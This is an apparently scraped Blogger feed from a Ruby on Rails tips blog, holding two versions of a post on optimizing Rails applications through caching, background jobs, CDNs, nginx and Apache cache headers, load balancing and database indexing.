tag:blogger.com,1999:blog-65104294574288407542024-03-05T18:17:18.742-08:00Ruby on Rails,ROR,Ruby, Rails tipsRuby on Rails tips and blogsAbdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.comBlogger15125tag:blogger.com,1999:blog-6510429457428840754.post-31854016118443397852015-11-18T21:34:00.001-08:002015-11-18T21:34:22.935-08:00useful Linux commands while developing rails web applications<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 class="post-title entry-title" itemprop="name" style="background-color: #fff3db; color: #1b0431; font-family: Georgia, 'Times New Roman', sans-serif; font-size: 18.2000007629395px; font-weight: normal; margin: 0px; padding: 0px;">
Rails application best optimization concepts</h3>
<div class="post-header" style="background-color: #fff3db; color: #29303b; font-family: Georgia, 'Times New Roman', sans-serif; font-size: 13px;">
<div class="post-header-line-1">
</div>
</div>
<div class="post-body entry-content" id="post-body-6967648817574892969" itemprop="description articleBody" style="background-color: #fff3db; color: #29303b; font-family: Georgia, 'Times New Roman', sans-serif; font-size: 13px;">
<div dir="ltr" trbidi="on">
<div dir="ltr" trbidi="on">
Optimization is MUST of a Rails application specially for the high traffic Ruby On Rails application and for good UX. Here are some optimization tips which I already applied in my recent Rails projects.<br /><br /><br /><b>Optimization of Rails Application and application server</b><br /><ul style="margin: 0px; padding: 0px;">
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Apply caching(Object cache, fragment_cache, action_cache, page_cache) and use memcached server instead of disc for storing cached data. You can get Rails caching idea from here <a href="http://guides.rubyonrails.org/caching_with_rails.html" style="color: #956839;">http://guides.rubyonrails.org/caching_with_rails.html</a></li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">If you have complex searching functionality into your project then use search engine like sphinx or solr instead of doing sql like search</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">If you use passanger for application server, try to use passenger pool size equal to your server's number of CPUs(cores), for more, see from here <a href="http://www.modrails.com/documentation/Users%20guide%20Apache.html#_passengermaxpoolsize_lt_integer_gt" style="color: #956839;">http://www.modrails.com/documentation/Users%20guide%20Apache.html#_passengermaxpoolsize_lt_integer_gt</a></li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">You could use Amazon S3 to host your assets(including images,compressed javascript and css)</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">There is a great ruby gem for Rails <a href="https://github.com/AssetSync/asset_sync" style="color: #956839;">https://github.com/AssetSync/asset_sync</a> to sync your assets after immediate deploy.</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">You could also use CDN(Content deliver network) for static resources(images,videos, pdf,css,js, etc) to give location wise resource delivery.</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">If CDN looks costly then use rails assets host(it is not alternative of CDN) for concurrent static resources download, for more info about asset host check this link <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html" style="color: #956839;">http://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html</a></li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Use eager loading to avoid N+1 query problem. see from here<br /><a href="http://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations" style="color: #956839;">http://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations</a></li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">You could use background job(like <a href="https://github.com/resque/resque" style="color: #956839;">Resque</a>, <a href="https://github.com/mperham/sidekiq" style="color: #956839;">Sidekiq</a>) to process things asynchronously. For instance, after a user gets registered, you want to send email via sendgrid/mailchimp/AWS SES, simply execute email sending code inside a worker process to give user faster UX.</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">To process big data set, check this link for parallel processing with fork<br /><a href="http://abdul-barek-rails.blogspot.com/2012/02/parallel-processing-in-ruby-on-rails.html" style="color: #956839;">http://abdul-barek-rails.blogspot.com/2012/02/parallel-processing-in-ruby-on-rails.html</a></li>
</ul>
<div>
<b>Optimization of web server</b><br /><ul style="margin: 0px; padding: 0px;">
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Use nginx instead of Apache for better static resources(images,videos,css,javascript,text, html, etc) response</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">For static resources cached on client side for specific time(for example, 30 days), use this configuration<div class="gist" id="gist5520967" style="color: #333333; direction: ltr; font-size: 16px;">
<div class="gist-file" style="border-color: rgb(221, 221, 221) rgb(221, 221, 221) rgb(204, 204, 204); border-radius: 3px; border-style: solid; border-width: 1px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace; margin-bottom: 1em;">
<div class="gist-data" style="background-color: white; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 1px; border-radius: 2px 2px 0px 0px; overflow: auto; word-wrap: normal;">
<div class="js-gist-file-update-container js-task-list-container file-box">
<div class="file" id="file-gistfile1-txt">
<div class="blob-wrapper data type-text" style="border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; overflow-x: auto; overflow-y: hidden;">
<table class="highlight tab-size js-file-line-container" data-tab-size="8" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border-collapse: collapse; border: 0px; color: #333333; font-size: 12px; line-height: 1.4; margin: 0px; padding: 0px;"><tbody>
<tr><td class="blob-num js-line-number" data-line-number="1" id="file-gistfile1-txt-L1" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding-bottom: 1px !important; padding-left: 10px !important; padding-right: 10px !important; padding-top: 4px; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC1" style="background: transparent; border: 0px; overflow: visible; padding-bottom: 1px !important; padding-left: 10px !important; padding-right: 10px !important; padding-top: 4px; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;">For Apache, use the Location directive into your virtual host(be sure you have included expires and headers modules)</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="2" id="file-gistfile1-txt-L2" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC2" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;">
</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="3" id="file-gistfile1-txt-L3" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC3" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"><locationmatch assets=""></locationmatch></td></tr>
<tr><td class="blob-num js-line-number" data-line-number="4" id="file-gistfile1-txt-L4" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC4" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"> Header unset ETag</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="5" id="file-gistfile1-txt-L5" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC5" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"> FileETag None</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="6" id="file-gistfile1-txt-L6" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC6" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"> ExpiresActive On</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="7" id="file-gistfile1-txt-L7" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC7" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"> ExpiresDefault "access plus 30 days"</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="8" id="file-gistfile1-txt-L8" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC8" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"></td></tr>
</tbody></table>
</div>
</div>
</div>
</div>
</div>
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<tr><td class="blob-num js-line-number" data-line-number="9" id="file-gistfile1-txt-L9" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC9" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;">
</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="10" id="file-gistfile1-txt-L10" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC10" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;">
</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="11" id="file-gistfile1-txt-L11" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC11" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;">For nginx</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="12" id="file-gistfile1-txt-L12" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC12" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;">
</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="13" id="file-gistfile1-txt-L13" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC13" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;">location ~ ^/assets/ {</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="14" id="file-gistfile1-txt-L14" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC14" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"> expires 30d;</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="15" id="file-gistfile1-txt-L15" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC15" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"> add_header Cache-Control public; </td></tr>
<tr><td class="blob-num js-line-number" data-line-number="16" id="file-gistfile1-txt-L16" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC16" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"> add_header ETag "";</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="17" id="file-gistfile1-txt-L17" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC17" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;"> break;</td></tr>
<tr><td class="blob-num js-line-number" data-line-number="18" id="file-gistfile1-txt-L18" style="-webkit-user-select: none; background: transparent; border-color: rgb(238, 238, 238); border-style: solid; border-width: 0px 1px 0px 0px; color: rgba(0, 0, 0, 0.298039); cursor: pointer; line-height: 18px; min-width: inherit; padding: 1px 10px !important; text-align: right; vertical-align: top; white-space: nowrap; width: 15px;"></td><td class="blob-code blob-code-inner js-file-line" id="file-gistfile1-txt-LC18" style="background: transparent; border: 0px; overflow: visible; padding: 1px 10px !important; position: relative; vertical-align: top; white-space: pre; word-wrap: normal;">}</td></tr>
<div class="gist-meta" style="background-color: #f7f7f7; border-radius: 0px 0px 2px 2px; color: #767676; font-family: Helvetica, arial, nimbussansl, liberationsans, freesans, clean, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 12px; font-stretch: normal; line-height: normal; overflow: hidden; padding: 10px;">
<a href="https://gist.github.com/barek2k2/5520967/raw/55af6116c29e7e4d3f79067b87a08f9fff0dd936/gistfile1.txt" style="border: 0px; color: #666666; float: right; font-weight: bold; text-decoration: none;">view raw</a><a href="https://gist.github.com/barek2k2/5520967#file-gistfile1-txt" style="border: 0px; color: #666666; font-weight: bold; text-decoration: none;">gistfile1.txt</a> hosted with ❤ by <a href="https://github.com/" style="border: 0px; color: #666666; font-weight: bold; text-decoration: none;">GitHub</a></div>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Make sure your web server is responding with gzip data</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">If your application faces heavy traffic then use load balancing. In one of my project, I used nginx as balancer on front end and 4 apache web servers on backend nodes. If you use cloud server like rackspace then you can use rackspace's builtin load balancer with your node servers or you can create your own load balancer</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;"></li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Use http reverse proxy like varnish cache server so that most of the requests are being served by the cache server instead of hitting your application server, see this link for varnish configuration<br /><a href="http://abdul-barek-rails.blogspot.com/2012/07/integrate-http-reverse-proxy-cache.html" style="color: #956839;">http://abdul-barek-rails.blogspot.com/2012/07/integrate-http-reverse-proxy-cache.html</a></li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">You can use http cache but be careful, its risky! because already requested requests(from a client) will not hit your application server(because of cache validation time), instead, the client will get response from its local cached data. To avoid this, you can change url.</li>
<br /><div>
<b>Client Side Optimization</b></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<ul style="margin: 0px; padding: 0px;">
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Try to use more Asynchronous requests using AJAX for better user experience and responsiveness in your application where you can.</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Try to reduce number of requests which is the key optimization on client side</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">On production environment, use Rails asset pipeline feature so that your JavaScripts and css files are being combined and minified or compressed</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Use css stripe to avoid loading more images(same type of images) so that you can reduce number of http requests for images</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Try to reduce static resources weight(reduce size in KB or Byte)</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">You can use jquery lazy load plugin to load images lazily or you can use jquery appear plugin to load images/contents on when screen appears to view</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">To measure your application's load time and performance, use this google tool<br /><a href="https://developers.google.com/speed/pagespeed/insights" style="color: #956839;">https://developers.google.com/speed/pagespeed/insights</a></li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">For better inspection of your server's resources on browser, use firefox's firebug adons in firefox browser and see how much time all resources are taking to load and see how weight of resources are and see what are the unnecessary http requests and then reduce resources weight and load time and reduce unnecessary http requests as you can.<br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9qTJuxPvwpKmkR96aIjqeo8yfZapB3f_r982MJ_JoVQI6XRdsWNtiFMNdauUjE99gOuWSrEqHwHOtS-aqcgtj-IEA03A1alhj1g1FEQ0nI25b6HhqqoxA8s-5mrcgohJtXasTAOybCmk/s1600/firebug.png" imageanchor="1" style="color: #956839; margin-left: 1em; margin-right: 1em;"><img border="0" height="62" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9qTJuxPvwpKmkR96aIjqeo8yfZapB3f_r982MJ_JoVQI6XRdsWNtiFMNdauUjE99gOuWSrEqHwHOtS-aqcgtj-IEA03A1alhj1g1FEQ0nI25b6HhqqoxA8s-5mrcgohJtXasTAOybCmk/s320/firebug.png" style="border: 0px;" width="320" /></a></li>
</ul>
<div>
<b>Database Optimization</b></div>
</div>
<div>
<ul style="margin: 0px; padding: 0px;">
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Apply database indexing on table's those columns which are being used for join, foreign key, ordering or on where clause</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Apply data reporting, I mean instead of pulling big data result set on the fly, prepare them before they are being used, you can use any scheduler gem like rufus scheduler or delayed job to make stuff pre-ready.</li>
<li style="background: url(http://www.blogblog.com/scribe/list_icon.gif) 0% 0.3em no-repeat; line-height: 1.5em; list-style: none; margin: 0px; padding: 0px 0px 0.6em 17px; vertical-align: top;">Inspect slow query from your database server log file and optimize it</li>
</ul>
<div>
You can use NewRelic for details servers logs, graphs, database logs and many many stuff to analyze more.</div>
</div>
Abdul barekhttp://www.blogger.com/profile/13592209981512984864noreply@blogger.com0tag:blogger.com,1999:blog-6510429457428840754.post-69676488175748929692013-05-05T08:20:00.005-07:002015-11-18T22:07:48.844-08:00Rails application best optimization concepts<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
Optimization is MUST of a Rails application specially for the high traffic Ruby On Rails application and for good UX. Here are some optimization tips which I already applied in my recent Rails projects.<br />
<br />
<br />
<b>Optimization of Rails Application and application server</b><br />
<ul style="text-align: left;">
<li>Apply caching(Object cache, fragment_cache, action_cache, page_cache) and use dedicated separate Redis, memcached server for storing cached data. You can get Rails caching idea from here <a href="http://guides.rubyonrails.org/caching_with_rails.html">http://guides.rubyonrails.org/caching_with_rails.html</a></li>
<li>You could use background job(like <a href="https://github.com/resque/resque">Resque</a>, <a href="https://github.com/mperham/sidekiq">Sidekiq</a>) to process things asynchronously. For instance, you wanna process payment through Paypal/Stripe/Braintree API then execute the corresponding payment related code inside a separate worker process asynchronously.</li>
<li>You could use Amazon S3 to host your assets(including images,compressed javascript and css)</li>
<li>There is a great ruby gem for Rails <a href="https://github.com/AssetSync/asset_sync">https://github.com/AssetSync/asset_sync</a> to sync your assets with AWS S3 after immediate deploy.</li>
<li>If you have complex searching functionality into your project then use search engine like sphinx or solr instead of doing sql like search</li>
<li>If you use passanger for application server, try to use passenger pool size equal to your server's number of CPUs(cores), for more, see from here <a href="http://www.modrails.com/documentation/Users%20guide%20Apache.html#_passengermaxpoolsize_lt_integer_gt">http://www.modrails.com/documentation/Users%20guide%20Apache.html#_passengermaxpoolsize_lt_integer_gt</a></li>
<li>You could also use CDN(Content deliver network) for static resources(images,videos, pdf,css,js, etc) to give location wise resource delivery.</li>
<li>If CDN looks costly then use rails assets host(it is not alternative of CDN) for concurrent static resources download, for more info about asset host check this link <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html">http://api.rubyonrails.org/classes/ActionView/Helpers/AssetTagHelper.html</a></li>
<li>Use eager loading to avoid N+1 query problem. see from here<br /><a href="http://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations">http://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations</a></li>
<li>To process big data set, check this link for parallel processing with fork<br /><a href="http://abdul-barek-rails.blogspot.com/2012/02/parallel-processing-in-ruby-on-rails.html">http://abdul-barek-rails.blogspot.com/2012/02/parallel-processing-in-ruby-on-rails.html</a></li>
</ul>
<div>
<b>Optimization of web server</b><br />
<ul style="text-align: left;">
<li>If your application faces heavy traffic then use load balancing. In one of my project, I used nginx as balancer on front end and 4 apache web servers on backend nodes. If you use cloud server like rackspace then you can use rackspace's builtin load balancer with your node servers or you can create your own load balancer</li>
<li>Using AWS Load Balancer for many EC2 instances is also a great way to divide traffic.</li>
<li>AWS Autoscaling is also an AWESOME automated way of scaling your app based on your traffic</li>
<li>Use nginx instead of Apache for better static resources(images,videos,css,javascript,text, html, etc) response</li>
<li>For static resources cached on client side for specific time(for example, 30 days), use this configuration<script src="https://gist.github.com/barek2k2/5520967.js"></script></li>
<li>Make sure your web server is responding with gzip data</li>
<li>Use http reverse proxy like varnish cache server so that most of the requests are being served by the cache server instead of hitting your application server, see this link for varnish configuration<br /><a href="http://abdul-barek-rails.blogspot.com/2012/07/integrate-http-reverse-proxy-cache.html">http://abdul-barek-rails.blogspot.com/2012/07/integrate-http-reverse-proxy-cache.html</a></li>
<li>You can use http cache but be careful, its risky! because already requested requests(from a client) will not hit your application server(because of cache validation time), instead, the client will get response from its local cached data. To avoid this, you can change url.</li>
</ul>
</div>
<br />
<div>
<b>Client Side Optimization</b></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<ul style="text-align: left;">
<li>Try to use more Asynchronous requests using AJAX for better user experience and responsiveness in your application where you can.</li>
<li>Try to reduce number of requests which is the key optimization on client side</li>
<li>On production environment, use Rails asset pipeline feature so that your JavaScripts and css files are being combined and minified or compressed</li>
<li>Use css stripe to avoid loading more images(same type of images) so that you can reduce number of http requests for images</li>
<li>Try to reduce static resources weight(reduce size in KB or Byte)</li>
<li>You can use jquery lazy load plugin to load images lazily or you can use jquery appear plugin to load images/contents on when screen appears to view</li>
<li>To measure your application's load time and performance, use this google tool<br /><a href="https://developers.google.com/speed/pagespeed/insights">https://developers.google.com/speed/pagespeed/insights</a></li>
<li>
For better inspection of your server's resources on browser, use firefox's firebug adons in firefox browser and see how much time all resources are taking to load and see how weight of resources are and see what are the unnecessary http requests and then reduce resources weight and load time and reduce unnecessary http requests as you can.<br />
